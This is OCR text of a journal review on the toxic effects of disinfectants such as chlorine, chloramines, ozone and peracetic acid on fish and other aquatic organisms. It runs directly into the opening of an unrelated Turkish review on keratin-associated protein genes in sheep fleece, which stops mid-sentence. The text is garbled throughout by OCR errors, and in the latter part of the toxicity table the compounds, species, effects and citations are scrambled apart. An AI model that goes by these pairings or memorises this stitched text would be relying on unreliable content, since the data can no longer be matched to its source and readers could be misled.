olmasmma karsin, c¢evrede dezenfeksiyon iiriinlerinin
diisindiiriicii bir duruma gelmis ve organizmalar iizerindeki toksikolojik
etkileri sorgulanmaya baglanmistir. Bu ¢aligma, gesitli dezenfektanlarin sucul

Dezenfektan ekosistemlerdeki organizmalara etkilerini kargilagtirmali olarak arastirmak ve
Toksikoloji degerlendirmek amaciyla yapilmistir. Bu amagla, su ortamindaki belirli
Sucul ekosistem tiirlerle yapilan yasam dongiisii ¢alismalarina dayali toksisite 6nem seviyeleri
Halk sagligi arastirilmis, farkli dezenfektan tiirlerinin hedef tiirler iizerindeki etkilerini

iceren 6nemli sayida calisma gruplandirilmistir. Incelenen arastirmalara gore
organizmalarin, ekonomik olusu ve kullanim kolaylig1 nedeniyle en ¢ok klor
maruziyetinden etkilendikleri gorilmiistiir. Sonuglar
ekosistem i¢in bir risk olusturdugunu ve hatta uzun siireli maruziyetlerde
organizmalar i¢in daha fazla genotoksik, mutajenik ve teratojenik sonuglara

neden olabilecegini gdstermistir.

To Cite: Yesilbudak B., 2023. Toxic effects of disinfectants on aquatic organisms. Kadirli Uygulamali Bilimler Fakiiltesi

Dergisi, 4(1): 270-284.

Introduction

Water is an essential chemical compound for every organism and vital for the

sustainability of life (Ghernaout, 2017). Aquatic ecosystems are contaminated not only by the

270

mevcudutiyeti

dezenfektanlarin


mailto:yesilbudak@gmail.com

mineral deposits, technological changes, agricultural production and the process of food
becoming a suitable shelf product, but also by hospital wastes, veterinary services and
disinfection processes, concurrently with a growing global population (Zhou et al., 1997
IARC, 2000). Disinfectants have numerous applications, and the main disinfectant sources are
categorized in accordance with the European Union directive (Smith, 2015) (Figure 1).
Additionally, it has been reported in a number of studies that various disinfectants are
preferred to destroy harmful viruses and bacteria in water treatment facilities, aquaculture,
agricultural uses, domestic and health institutions (Giimiis et al., 2013; Holm et al., 2019; Yun
et al., 2020; Choi et al., 2021; Huang et al., 2021).

Figure 1. Diagram of usage areas of disinfectants used according to EU legislation (Smith, 2015)

The final destination that disinfectants reach as a result of excessive and irregular use is
again the aquatic ecosystems as depicted in Figure 2. Disinfectants reaching the aquatic
ecosystem from different sources react with natural organic substances such as humic and
fulvic acids in the environment, causing occurrence of numerous disinfection byproducts with
mutagenic, carcinogenic and teratogenic effects (Zhou et al., 1997; IARC, 2000). An essential
component of the antioxidant defense system in organisms is formed by glutathione and
antioxidant enzymes (Livingstone, 2001). As is common knowledge, chlorine compounds are
pro-oxidants so strong that they can damage the antioxidant defense system and antioxidant
components of exposed vertebrate and invertebrate organisms (Ueno et al., 2000; Pozzetti et

al., 2003). In a study, although correlation results were determined between public health and
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disinfected drinking water, the level of this correlation wasfound to be relatively low
(Barcelo, 2012). However, a number of epidemiological studies have revealed that drinking
water cleaned using disinfectants may increase the risk of contracting a number of diseases,
including cancer of the bladder, kidneys, colon and rectum (Richardson et al., 2007; Yang and
Zhang, 2016).
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Figure 2. lllustration of disinfectants affecting organisms in the aquatic ecosystem and indirectly human
health

The fact that the different disinfectants used cause changes in the structure of drinking
water, surface water and underground water have led scientists to develop eco-friendly
alternative materials both commercially and ecologically (Rai et al., 2018; Ghernaout et al.,
2019). This review focused on the most commonly utilized disinfectants in various literatures
such as chlorine, bromine chloride, monochloramine, hypochlorous acid, hypochlorite ion,
dichloramine, sodium hypochlorite, malachite green, chloramine-T, o0zone, potassium
permanganate (VII), chlorine dioxide, peracetic acid, hydrogen peroxide. Furthermore, the
toxic effects of these substances on aquatic organisms have been accordingly evaluated. For
this, a literature review on disinfectants from various databases was made, and the effects of

different types of disinfectants were categorized in Table 1 according to the years.

Chlorine

Chlorine is a highly reactive chemical oxidizing reagent. Once mixed with water, it
easily reacts with inorganic substances such as oxidizable hydrogen sulfide, ferrous, and
organic impurities such as microorganisms and nitrogen compounds, which decompose in the

water due to animal residues (Shamrukh and Hassan, 2005).
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Because of its powerful antibacterial properties and affordable price, chlorine has been
the most popular of the commercial disinfectants available for usage (Reddy and Elias, 2021).
Chlorination has generally been the most used method to prevent contamination of both
wastewater and drinking water, but several studies have reported that chlorination leads to the
formation of by-products that are potentially harmful to public health and aquatic organisms
(Zhou et al., 1997; IARC, 2000; Lee et al., 2001). It has been determined that the increased
chlorine level in water as a result of chlorination combines with organic substances to form
carcinogenic trihalomethanes (THM) and other halogenated hydrocarbons, and it has been

emphasized that disinfection techniques should be revised withal (Cotruvo, 1981).

Hypochlorous Acid and Hypochlorite lon

Chlorine in the gaseous state becomes a strong oxidizing agent in aqueous solutions.
Chlorine interacts in agueous solution and produces hypochlorous acid and hypochlorite ions,
as shown in the equation; [Cl2 (g) + H20 & HOCI + H* + CI" ; HOCI & H * + OCI]
(USEPA, 1999). Hypochlorous acid ionizes depending on pH, temperature, and organic
matter in the water. The level of hydrogen ions in the water ensures the formation of 100%
hypochlorite acid at pH=5, and 100% hypochlorite ions at pH=10. This circumstance could be
used to explain the key distinction between hypochlorous acid and hypochlorite ion (USEPA,
1999). Hypochlorous acid is identified as non-hazardous by regulations of the Environmental
Protection Agency (EPA, 1999).

Bromine Chloride

Bromine was first applied to water as liquefied bromine as a disinfectant. Bromine
chloride can be applied as gaseous or solid brominates. According to numerous researches,
bromine chloride is less hazardous to fish than chlorine and is a more effective disinfectant. In
addition, it has been stated that bromine chloride is as cost-effective as chlorine and its use is
widespread enough to compete with chlorine (Mills, 1973; Mills, 1975). It has been
determined that bromine chloride has a number of advantages over chlorine, including the
capacity to disinfect the polio virus, convenience of usage, and safety. Toxicological
information on organisms in aquatic ecosystems is relatively scarce, nevertheless (Keswick et
al., 1978).

Monochloramine and Dichloramine
Monochloramine and dichloramine have been reported to have significant disinfecting

power. However, it was also stated that high concentrations or contact times of chloramine
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derivatives should be high (Shull, 1981). However, some disadvantages have been reported in
the use of chloramines as a primary disinfectant. It has been stated that a series of
chromosome aberrations are observed with a radiomimetic reaction in a short-term exposure
of monochloramine to plant and animal cells, but the incidence is low (Shull, 1981). Chlorine
can be found in different forms in aqueous solutions, these are; free chlorine, hypochlorous
acid, hypochlorite ion, monochloramine and dichloramine. However, the presence of
ammonia in water affects the concentration of monochloramine and dichloramine. One can
determine the type of chlorine by observing changes in the ammonia content of the water. The
concentration of chloramine derivatives rises as a result of organic pollution in the water
(Seegert et al., 1979).

Sodium Hypochlorite

Sodium hypochlorite, produced by adding elemental chlorine to sodium hydroxide
contains 5-15% chlorine and is less dangerous than elemental chlorine, but has a short shelf
life. 1t can form inorganic byproducts such as chlorate, chloride and bromate in their reaction
with water. On the other hand, the high level of corrosion effect can damage the application
sites (Ogur et al., 2004). It is thought that sodium hypochlorite alone does not contaminate the
environment, since the hypochlorite ion is chemically degraded immediately before being
accumulated by organisms (ASC-PT Asahimas Chemical, 2009). However, in a study in
which physical and chemical parameters were kept constant, it was reported that adding
sodium hypochlorite to wastewater increases toxicity in organisms (Chen et al., 2001). This
can be explained by the fact that other inorganic and organic substances carried by the

wastewater activate the toxicity of the hypochlorite ion.

Malachite Green

Malachite green is an important biocide that is highly effective against protozoal and
fungal infections in aquatic organisms and is widely used in the aquaculture industry
(Schnick, 1988). In addition, it is preferably used as a colorant, food additive, medical
disinfectant and anthelmintic in the textile, paper and food industries (Culp and Beland,
1996). It has observed to have ecotoxic effects on various metabolic functional systems such
as immunity and reproduction in aquatic organisms. As a consequence, it has become a highly
controversial compound in terms of public health due to the risks it poses to processed
seafood products (Alderman and Clifton-Hadley, 1993; Gouranchat, 2000).
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Chloramine-T

Although chloramine-T is not licensed for use in fish as a therapeutic agent, it is used in
freshwater fish aquaculture as an effective treatment of bacterial gill diseases at varying
concentrations as a prophylactic and disinfectant for which there are unfortunately no
alternatives (Bullock et al., 1991; Smith et al., 1993; Thorburn and Moccia, 1993). However,
despite its unconscious use, literature on the mechanism of action of chloramine T, its

physiology in fish or its toxicity to fish is still lacking (Powell and Perry, 1996).

Ozone

Ozone is preferably used for the disinfection of water, as well as for the removal of
taste, odor, color, turbidity, cyanide, nitrite, ammonia and metals in drinking, surface waters
and contaminated ground waters (Gray, 2014). In addition, they are used in cleaning the
residues of agricultural pesticides, in cold storage where food is stored, in the disinfection of
infection in livestock, in the removal of alphatoxin, in the ventilation systems of medical and
research laboratories, in swimming pools and in many other daily areas. Ozone is a very
common and powerful disinfectant (Guzel-Seydim et al., 2004). However, its production in
situ makes it more costly than other disinfectants such as chlorination or UV. Although ozone
is an effective disinfectant against harmful microorganisms in water, a lower level of
chlorination is used to ensure that residual pests are destroyed in the public distribution of
disinfected water in treatment facilities after ozone is applied (Guzel-Seydim et al., 2004;
Gray, 2014). Undesirable aldehydes and ketones may be formed as a result of the reaction of
ozone with various organic substances. This may cause toxic effects in aquatic organisms
(Uzun, 2011).

Potassium Permanganate (VII)

Potassium permanganate is an oxidizing agent used in aquaculture, removal of harmful
pathogens, and medical therapy for humans. However, in water treatment, organic residues
are precipitated by oxidation and removed from the water by filtration. In addition, it is used
as a chemical oxidant in the stabilization of odor, taste, color, plankton, iron and manganese
chemicals in water (EPA, 1999). Along with such beneficial applications of potassium
permanganate, several alarming situations have been observed in environmental toxicology.
For instance, based on ecotoxicological studies, it has been pointed out that potassium
permanganate concentrations above 0.12 mg/L may have chronic toxic effects on aquatic
organisms and that other ecosystem elements may accumulate these toxicants by transport in

the food chain (Franga et al., 2011).
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Chlorine Dioxide

Used as a primary disinfectant and pre-oxidant in the treatment of drinking water,
groundwater and surface water, chlorine dioxide has been used as an alternative to chlorine
because it has a long-lasting effect and appears to be safe for public health (Berg et al., 1980;
Elia et al., 2006). Because chlorine dioxide does not react with organic compounds in aqueous
solutions to form serious carcinogenic trihalomethanes such as chloroform (Opresko, 1980).
Chlorine dioxide, one of the chlorine compounds, is a powerful oxidant and biocide (Berg et
al., 1980; Elia et al., 2006). Persistence of chlorite residues in aquatic ecosystems suggests
that this compound may cause toxic effects against aquatic organisms. Various studies have
been conducted on the eco-physiological effects of these disinfectants on viruses, bacteria,
phytoplankton, zooplankton and fish, but negative effects have been determined (Huang et al.,
1997, Sveceviéius et al., 2005). In a study, it was observed that chlorine dioxide was 2-4 times
more toxic than total residual elor (TRC) in Pimephales promelas and Lepomis macrochirus
under the influence of chlorine dioxide (Wilde et al., 1983).

Peracetic Acid

Peracetic acid is known to be a useful disinfectant and has applications in medical
establishments, research laboratories, clinics, factories and wastewater facilities (Baldry et al.,
1995). It has been reported that the use of peracetic acid may cause the production of free
radicals and halogenated organic by-chemicals as well as chlorine compounds (Booth and
Lester, 1995). However, disinfection of river or lake water for potabilization with peracetic
acid has been reported to produce several by-products that are not recognized as mutagenic
(Monarca et al., 2002). Peracetic acid actually accelerates the proliferation of microorganisms
by increasing the decay of organic matter in the process due to acetic acid (Kitis, 2004;
Pedersen et al., 2013). Depending on time, low levels of peracetic acid support biofilm and
microbial zone formation, which essentially creates a disadvantage for aquatic ecosystems
(Liu etal., 2017).

Hydrogen Peroxide

Hydrogen peroxide is used in many areas and is an oxidizer as strong as other
disinfectants. The unstable nature of Hydrogen peroxide and the difficulty of preparing its
concentrated solution limit its usage areas. In addition to its use in disinfection of
contaminated water, it can also be used safely in medical, agriculture, pharmaceutical, textile,

mining, wastewater treatment facilities, paper production sectors and food industry with its
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disinfectant effect (Campbell, 2003). This compound destroys harmful pathogenic cells
oxidatively, and essential structural components such as nucleic acids, proteins and lipids are
broken down (Demirci and Ngadi, 2012).

Table 1. Toxic effects of some common disinfectants on aquatic species

Chlorine Pimephales Oxidation ~ of  hemoglobin to Grothe and Eaton,
(CI) promelas methemoglobin and mortality due to 1975

anoxia
Bromine chloride Pimephales No fish survived to maturity. A 50% Ward and DeGraeve,
(BrCl) promelas decrease was observed in the second 1978

generations.
Monochloramine Notropis LC50 value was 0.51 mg/L Seegert et al., 1979
(CIH2N) atherinoides
Monochloramine Catostomus LC50 value was 0.73mg/L Seegert et al., 1979
(CIHz2N) commersonii
Monochloramine Notropis spilopterus  LC50 value was 0.59 mg/L Seegert et al., 1979
(CIH2N)
Monochloramine Notropis cornutus LC50 value was 0.59 mg/L Seegert et al., 1979
(CIH2N)
Monochloramine Ictalurus punctatus ~ LC50 value was 0.65 mg/L Seegert et al., 1979
(CIH2N)
Monochloramine Stizostedion LC50 value was 0.68 mg/L Seegert et al., 1979
(CIHzN) canadense
Monochloramine Aplodinotus LC50 value was 1.75 mg/L Seegert et al., 1979
(CIH2N) grunniens
Monochloramine Morone chrysops LC50 value was 1.80 mg/L Seegert et al., 1979
(CIH2N)
Monochloramine Lepomis LC50 value was 1.72 mg/L Seegert et al., 1979
(CIH2N) macrochirus
Monochloramine Cyprinus carpio LC50 value was 1.82 mg/L Seegert et al., 1979
(CIH2N)
Hypochlorous acid Gambusia affinis The HOCI alone causing 50% Mattice et al., 1981
(HOCI) mortality of G. affinis at a

concentration of 0.38 ppm.

Hypochlorite ion

Gambusia affinis

The CIO is approximately one-

Mattice et al., 1981

(ClOY) quarter as toxic to G. affinis as HOCI

Dichloramine Salmo gairdneri LC50 value was 0.57 mg/L Brooks and Bartos,
(NHCI) 1984

Dichloramine Ictalurus punctatus ~ LC50 value was 0.20 mg/L Brooks and Bartos,
(NHCI) 1984

Dichloramine Notropis LC50 value was 0.15 mg/L Brooks and Bartos,
(NHCI) atherinoides 1984

Sodium hypochlorite
(NaClO)

Salmo gairdneri

Depletion of liver glycogen and
inhibition of liver UDP-
glucuronosyltransferase and swelling
and vacuolization of the qill
epithelium observed

Soivio et al., 1988

Malachite green Heteropneustes LC50 value was 1.0 mg/L for 96h Srivastava et al., 1995
[4-{[4-(Dimethylamino) fossilis

phenyl](phenyl)methylidene}-

N,N-dimethylcyclohexa-2,5-

dien-1-iminium chloride]

(C23H25CINy)

Hypochlorite ion Oncorhynchus Respiratory acidosis Powell and Perry,
(CIOY) mykiss 1996

Sodium hypochlorite Oncorhynchus Increase in haematocrit level Powell and Perry,
(NaClO) mykiss 1996
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Chloramine-T [Sodium
chloro(4-methylbenzene-1-
sulfonyl)azanide]
(CH3CsH4SO2NCINa)
Ozone

(Gs)

Potassium permanganate (V1)
(KMnOa)

Chlorine dioxide

(ClO2)

Sodium hypochlorite
(NaCloO)

Chlorine dioxide

(ClO2)

Peracetic acid

(CHsCO3H)

Potassium permanganate (V1)
(KMnOg)

Hydrogen peroxide

(H202)

Hydrogen peroxide
(H202)

Peracetic acid
(CHsCO3H)

Conclusion

Oncorhynchus
mykiss

Oncorhynchus
mykiss

Ictalurus punctatus
Oncorhynchus
mykiss

Cyprinus carpio
Cyprinus carpio
Cyprinus carpio

Clarias gariepinus

Salmo salar
(diploid)

Salmo salar
(triploid)

Oncorhynchus
mykiss

Hyperventilation

Only ozone which can cross the
membrane increased reactive oxygen
Toxicant effect significantly reduced
fish survival

LC50 value was 8.3 mg/L for 96h

Significant  increase  in  total
glutathione and glutathione reductase
levels

Irregularity in total glutathione level

Changes in total glutathione level

A decrease in blood values was
observed

Significantly elevated the expression
of catalase and superoxide dismutase
and glutathione reductase, interleukin
1 beta and crp/saplb in gills, while
significantly decreased the expression
of serum amyloid A-5 and C-reactive
protein (CRP)/serum amyloid

The levels of catalase, heat shock
protein 70, superoxide dismutase,
serum amyloid A-5, C-reactive
protein (CRP)/serum amyloid P 1la
and C-reactive protein (CRP)/serum
amyloid P 1 b in liver and glutathione
reductase, superoxide dismutase and
interleukin 1 beta in gills was
elevated

Post-treatment fish growth was not
affected, but high mortality was
observed.

Powell and
1996

Perry,

Fukunaga et al., 1999
Darwish et al., 2002
Svecevi¢ius et al.,
2005

Elia et al., 2006

Elia et al., 2006

Elia et al., 2006
Kori-Siakpere et al.,

2009
Chalmers et al., 2018

Chalmers et al., 2018

Suurnikki et al., 2020

Understanding the importance of public health is possible only with considering the

welfare of organisms and the formation of environmental quality from a holistic perspective.

The reason for increasing concern about the sustainability of environmental quality is actually

that the chemicals used in wastewater treatment do not function as effective disinfectants in

terms of quality. However, this concern might be diminished by having disinfectants that are

biotechnological, inexpensive, degradable, and have minimal toxic effects on organisms in

aquatic biomes. Based on the literature data that we have investigated so far, it has been

observed that disinfectants have as many disadvantages as their advantages. For this reason,

the correct use and use of disinfectants should be kept under control and monitored regularly.

The results obtained in this study have a high potential to be very informative for the

researchers working in the field of major species in aquatic ecosystems in order to address the

toxicological effects of disinfectants on a regular basis.
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Koyun yapagisinin degeri, gecmisten giiniimiize yapisi ve genetigi ile ilgili
kapsaml arastirmalara ilham vermistir. Keratin ile iliskili proteinler (KAP'lar)
yapag liflerinin en 6nemli yapisal bilesenleridir. Bu protein genlerinin
ekspresyonunun belirlenmesi, diizenlenmesi ve karakterizasyonu molekiiler
gelismelerle hizla ilerlemistir. Bu derlemede, KAP genlerindeki genetik
varyasyon ile lif 6zellikleri arasindaki potansiyel iligki incelenmis ve KAP
genlerinin daha kaliteli yapagi liretmek i¢in koyun yetistiriciliginde seleksiyon
i¢in bir belirteg olarak kullanimi degerlendirilmistir. Bu ¢aligma, son on yilda
yiiksek kaliteli yapag1 verimi ve kaliteli yapag iiretimi ile koyun irklarinin
wslahi ile ilgili KAP genleri hakkindaki literatiiriin bir derlemesini sunmay1
amaclamaktadir. Bu baglamda, bu gen ailelerinin genotipik 6nemine dikkat
¢ekilmesi amaglanmustir.
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The value of sheep fleece has inspired extensive research into its structure and
genetics from the past to the present.Keratin-associated proteins (KAPSs) are the
most important structural components of fleece fibres.The determination of
expression, regulation, and characterization of these protein genes has been
rapidly advanced by molecular advances. In this review, the potential
relationship between genetic variation in KAP genes and fibre traits was
examined and the use of KAP genes as a marker for selection in sheep breeding
to produce higher-quality fleece was evaluated.The present study aims to
provide a review of the literature on the KAP genes related to the breeding of
sheep breeds with high-quality fleece yield and quality fleece production in the
last decade.In this way, it is aimed to draw attention to the genotypic
importance of these gene families.

To Cite: Mutlu E, Dingel D., 2024. Derleme: Koyunlarda yapag: 6zelliklerine etkili olan keratin ile iligkili protein genleri.
Kadirli Uygulamal1 Bilimler Fakiiltesi Dergisi, 4(1): 285-302.
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Koyunculuk ve Yapag:

Insan ve hayvan arasinda asirlar boyu gézlenen birliktelik beslenme ve korunma odakli
gibi degerlendiriliyor olsa da donemin ihtiyaglarina gore sekillendigi agik¢a goriilmektedir. Bu
durum Rast-Eicher (2014) tarafindan toplumlarda meydana gelen degisimlerin hayvansal iiriin
taleplerinde degisiklik yaptig1 goriisiiyle ifade edilmistir. Benzer sekilde Sallaberger (2014) ile
Tiimertekin ve Ozgiic (2013) ilk radikal degisikligin avci bir toplumun yerlesik hayata gegip
tarim ve hayvancilik faaliyetleriyle ugrasmaya baslamasi sonucu yapildigini ifade etmislerdir.
Diger yandan insanlarin koyunculukta elde ettikleri deneyimlerine etkili olan  temel
faktorlerden birisi tarimsal alanlarin bitkisel tiretime elverigsiz olmasidir.

Koyunun eski Yakin Dogu’da evcillestirildigi, iretim unsurlarindan biri olan yapaginin
Mezopotamya’da yolculuguna basladig: bilinse de insan hareketliligi koyunun diger kitalara
yayilmasini kolaylastirmustir (Ryder ve ark., 1964). MO 4000 yilinda yapaginin bir ticaret araci
olarak kullanildigi, yapaginin ilk kentsel toplumlardan evrensel imparatorluklara kadar
ekonomide sekillendirici bir giicli oldugu, parasal olmayan ekonominin para birimi haline
geldigi ifade edilmektedir (Michel & Breniquet 2014; Koyuncu 2019). Oz (2014)’e gore
yapaginin kiymetli bir armagan olarak goriilmesi, saraylarda 6zel depolarda saklanmasi
giiniimiize gore yapaginin daha kiymetli oldugunu gostermektedir. Yapaginin bu kadar degerli
olmasinin sebebinin her yoniiyle muadilinin olmamasi oldugu diisiiniiliirken; bugiin geri planda
kalmasinin birgok nedeni olmasina ragmen suni elyafin tekstilde yogun bir sekilde kullanilmasi
en 6nemlilerindendir (Oz, 2014).

Tarimsal planlamada koyun yetistiriciliginin ytliksek talep gorme nedenleri; kurak iklim
kosullarinda ve meralarda yetistiriciliginin yapilabilir olmasi, kuru tarim yapilan bolgelerde
tarla {irlinlerinin hasadindan sonra anizin degerlendirilmesi, yapag: Ortiisiine sahip olmalari
nedeniyle barinak gereksinimlerinin daha ucuz olmasi, et, siit, yapagi gibi iirlinlerin elde
edilebilirligi ve isletmeye yarar saglamasi, giibresinin bitkileri beslemesi i¢in kullanilmasi,
generasyonlar arasi siirenin daha kisa olmasi nedeniyle hizli iiremesi olarak siralanabilir
(Koyuncu, 2019).

Ulkemizde mevcut durum degerlendirildiginde kentlesme oraninn artmasi, mera
alanlarinin daralmasi ve tekstil sanayinde yapay liflerin kullanilmasi, yapagi iiretiminin tesvik
edilmemesi, yerli irklardan elde edilen yapaginin kalitesinin diisiik olmasi, tekstil sanayisinin

ithtiyact olan bir 6rnek ince yapaginin temin edilememesi sanayicileri yapagi ithalatina itmistir.
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Diizgiines (1973) yapagi kalitesini incelik ve tek-tip yap1 ile iliskilendirirken;
Koyuncu’ya (2019) gore ise incelik; yapagi kalitesinin ilk kosulunu olusturmaktadir ve yapagi
inceldikge kalite ve fiyatinin artacagi da belirtilmektedir.

Yapaginin kalite o6zelliklerinde incelik, uzunluk ve ondiilasyon gibi morfolojik
Ozelliklerinin yani sira elastikiyet, mukavemet, kecelenme kabiliyeti, yumusaklik, sertlik,
siklik, randiman, renk, bir orneklik, parlaklik ve rutubeti emme gibi fiziksel 6zellikleri de
bulunmaktadir (Simm ve ark., 2022). Yapagi miktar1 koyunlarin yas, irk, cinsiyet, beslenme ve
viicut agirhigi faktorlerine gore degismekle birlikte 2-5 kg arasinda yapagi elde edilebilecegi
bildirilmistir (Simm ve ark., 2022). Yapaginin en 6nemli 6zelliklerinden olan lif cap1 ise yapagi
kalitesi tayininde 6nemli diizeyde rol oynamaktadir. Lif ¢cap1 kaba yapagilarda genellikle 10-70
mikron, ince yapagi da ise 10-30 mikron arasindadir. Yapag: kalite tayininde birgok tilkede
farklh sistemler uygulandigi bilinmektedir. Ancak giliniimiizde en yaygin olarak kullanilan
sistem Ingilizler tarafindan gelistirilen Bradford Sortiman (Spinning Count) sistemidir ve Tablo
1’de sistemin degerlendirme skalasi sunulmustur.

Tablo 1. Ingiliz Bradford Sortiman sisteminde yapag kalite tayin 6zellikleri (Simm ve ark.,

2022).
INGILIiZ ABD KAN ALMAN INCELIK
BRADFORD DERECELERI HARF UZUNLUK (€M) (MiKRON)
80S EN INCE AAAAA 2--3 <18
70S INCE AAAA 3-5 19-20
64S ORTA INCE AAA 5--8 21-22
YUKSEK YARIM
62S KAN AA 6--8 23-24
60S YARIM KAN A 8--10 25-26
58S 3/8 KAN AB 10--12 27-28
56S YUKSEK KAN B 10--12 29-30
50S 1/4 KAN C 12--15 21-37
48S 1/4 KAN D 12--15 38-45
46S DUSUK KAN E 15-18 46-60
448 ADI EE 16-18 61-62
40S KABA KIL F 18-20 >62

Yapaginin sortiman tayini esas alindiginda genel olarak 5 siifa ayrilip incelenmektedir.
Merinos tipi yapagi dendiginde 58’S kalitesinden 90°S kalitesine kadar genis bir aralikta kalin,
orta ve ince olarak siiflandirilabilen fazla kivrimli ve yliksek kegelesme 6zelligi olan yumugak

elbiselik kumas tiretiminde tercih edilen ince yapagi tipi belirtilmektedir (Simm ve ark., 2022).
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Vasat veya orta yapag tipinde ise daha az kivrim bulunurken; 46°S ile 60°S arasindaki
siiflandirmaya girmektedir. Elbise ve battaniye kumagi yapiminda kullanilan orta kalite
yapagilar genellikle yerli Ingiliz 1rklarindan elde edilmektedir. Uzun tip yapagilar 18-23 cm
arasinda olan ve 44-50’S kalitesinde bulunup genellikle palto ve parddsii kumaslarinda, kege
yapiminda kullanilan yapag: tipidir. Merinos ve yerel irklarin melezinden elde edilen orta ince
siifa uygun; 48-60’S kalitesinde bulunan kamgarn kumas yapiminda kullanilan sinifi ifade
etmektedir. Cesitli koyun 1rklarindan tiretilen ince, vasat ve uzun liflerin yaninda kemp killarini
daigeren ve bu 0zelligi sebebiyle boyar madde ile temas ettirildiginde boyay1 ememeyen yapida
bulunan tip ise hali tipi yapagi olarak siniflandirilmaktadir. Genellikle kemp kil1 bulunduran bu
yapagilar; ortii, dosemelik ve kege yapimi i¢in kullanilan ipliklerin yapiminda kullanilir. Tablo
2’de yapagmin simiflandirilmasi ve kullanim alanlar1 verilmistir (Simm ve ark., 2022).

Tablo 2. Irklara gore yapaginin siniflandirilmasi ve kullanim alanlari (Simm ve ark., 2022)

Yapagi
Elyaf Cap1 Irklar Kullanim Alam
Simifi
ince 25’e Kadar Merinos, Porlwarth Triko, Yiiksek Kalite Kumas
Orta 25-30 Corridale, Romney, Coopworth Tekstil, Orta Kalite Kumas
. . ) Tekstil, Mobilya Kumasi, Agir
Kaba 30’un Ustii Borderleicester, Drydale, Tudidale )
Gramaj
Hali Ortalama 40  Carpetmaster, Eliotdale, Scottish Blackface Hali, Désemelik Dolgu

Yapagimin Yapisi ve Kullanim Alanlar:

Yapaginin geleneksel kullanim alanlar1 olarak nitelendirilen konfeksiyon, ev tekstili,
halicilik, désemecilik ile tibbi tekstiller, geotekstiller, zirai tekstiller, teknik tekstiller gibi
geleneksel kullaim alanlarinin yani sira, akilli materyaller, koruyucu giysiler, izolasyon-yalitim,
organik giibre ve hayvan Ortiileri gibi yeni ve modern alanlarda da yaygin kullanim alan1
buldugu goriilmektedir. Yapay liflerden elde edilen tekstil {iriinlerine gére yapagmin daha
saglikli olmasi 6zellikle konfeksiyon alaninda kullanim oranini arttirmaktadir. Johnson ve ark.
(2003) yapaginin kendi yapistyla iliski olan fiziksel ve kimyasal 6zelliklerinden sicak ve sogugu
tutma, nefes alabilirligi, nem ve koku emme giicii ile esnekligi gibi parametreler sebebiyle
tekstil ve dokumacilikta daha saglikli ve tercih edilebilir oldugunu belirtmektedir. Yapaginin
dosemecilik, halicilik ve ev tekstilinde yaygin kullanimi yine yapaginin 6zelliklerinden olan
kirlenme ve lekelenmeye karst dayanikliligi ile yanmaya karsi direngli olusuyla ilgilidir.
Yapaginin toprak Ortlisii veya tarim teknik tekstili olarak kullanilmasi geotekstil olarak

adlandirilirken; yapag: lifinin sargi, basingli bandaj, yara Ortiisii yapiminda kullanilmasi tibbi
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olarak da medikal alanda kullanildiginin ifadesidir (Bahtiyari ve ark., 2008). Isiy1 sabit
tutabilme 6zelligi sayesinde dogal bir sicaklik tamponlama sistemi olarak kullanilabilir olmas1
sayesinde enerji tasarrufu amaciyla yalitim maddesi olarak tercih edilmektedir (Johnson ve ark.,
2003). Tarimsal bakis agisi1 ile degerlendirildiginde yapaginin azot, kiikiirt ve karbon igeren
keratin yapidan olugmasi ve bunun yaninda yikanmis yapaginin degerli ve cevre dostu
denilebilecek giibre olarak kullanilabilmesi bitki beslemesindeki Onemli yOniini

gostermektedir (Ttimertekin ve ark.,2013; Olfaz ve ark., 2015).

Yapaginin Genetigi

Yapagmin kalitesini genetik ve cevresel faktorler etkilemektedir. Hayvanin genotipi
yapaginin kalitesini etkileyen en 6nemli faktdr olmasina ragmen ayni irkin bireyleri arasinda
da yapag tiretimi ve kalitesi agisindan farkliliklar bulunmaktadir (Khan ve ark., 2012).
Yapaginin genetik olarak incelenmesiyle birlikte kalite ve miktarini etkileyen temel 6zelliginin
folikiil yogunlugu oldugu ifade edilmektedir (Doyle ve ark., 2021). Diger yandan yiiksel folikiil
yogunlugu daha diisiik ortalama lif ¢api ile iligkiliyken daha diisiik temiz yapagi agirligimni
etkilemektedir. Dolayisiyla genotip farkliliklari ile ifade edilen yapagi ozellikleri arasinda
negatif korelasyon bulunmaktadir. Bu baglamda yiiksek yapagi verimine sahip koyunlarin
genetik altyapisinin belirlenmesinin yetistiricilere avantaj saglayacagi ve kapsamli seleksiyon
stratejilerinin olusturulmasinda 6nemli rol oynayacag: diisiiniillmektedir (Doyle ve ark., 2021).
Merinos 1rki koyunlarinin yapag verimi hususunda iistiin irk olarak siniflandirilmasinin sebebi
derilerinde diiz ve derin folikiil bulundurmalaridir (Doyle ve ark., 2021). Islah stratejilerinde
folikiil sayisinda arttirnm gozetmeden yiiksek yapagi tiretimi elde edebilmek igin lif iiretim hiz1
arttirtlmalidir. Lif yapis1 ve folikiil ozellikleri se¢im yapilarak degistirilebilecek kalitsal
ozelliklerdendir. Yapag folikiiliniin temel lif Giretim bolgeleri bulunmaktadir. Bunlar; folikiil
sogani, keratinizasyon bolgesi ve sertlesme bolgesidir. Hiicrelerin hizla cogaldigi bolge folikiil
sogan1 olarak isimlendirilir ve ¢ogalan hiicreler yiiksek kiikiirt icerigine sahip oldugu bilinen
amino asit proteini olan keratini hizla sentezler. Keratin, cevresinde bulunan kan
damarlarindaki amino asitlerden sentezlenip yapiya uygun tagima sistemleri ile hiicrelere
dagitilir. Yapagi proteinleri gen ifadesi kapsaminda transkripsiyon ve translasyon
mekanizmalar1 sayesinde memeli hiicrelerinde olgunlastirilir. Hiicreler keratinizasyon
bolgesinin son kismina dogru ilerledik¢e dis kilif kuruyarak sertlesmeye baglar. Sertlesme
keratin iliskili proteinlerin yapisinda bulunan sisteinlerin kiikiirt ile disiilfit bagi kurmasinin bir

sonucu olarak gergeklesir (Doyle ve ark., 2021).
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Keratin Genleri

Yapag lifinin temel yapisal bileseni olan keratinler koyunlarda toplam lifin %90’ 11
saglayan yapisal ara filament proteinleridir. Ifade edilen Keratin Gen Proteinleri (KRTS),
Keratin Ara Filament proteinleri (KIF) ve Keratin iliskili Proteinler (KAPS) seklinde iki gruba
ayrilarak siniflandirilir (Yardibi ve ark., 2015). KIF proteinleri, KAP matrisi i¢inde yer alan bir
distilfit ag1 araciligiyla filamentler olusturur. Keratinle iligkili proteinler, KIF'lerin kdklendigi
yar1 sert bir matris olusturduklan i¢in sa¢ ve yapagi liflerinin fizik-mekanik 6zelliklerinin
belirlenmesinde kritik bir rol oynamaktadir (Gong ve ark., 2015; Gong ve ark., 2016). KAP'lar
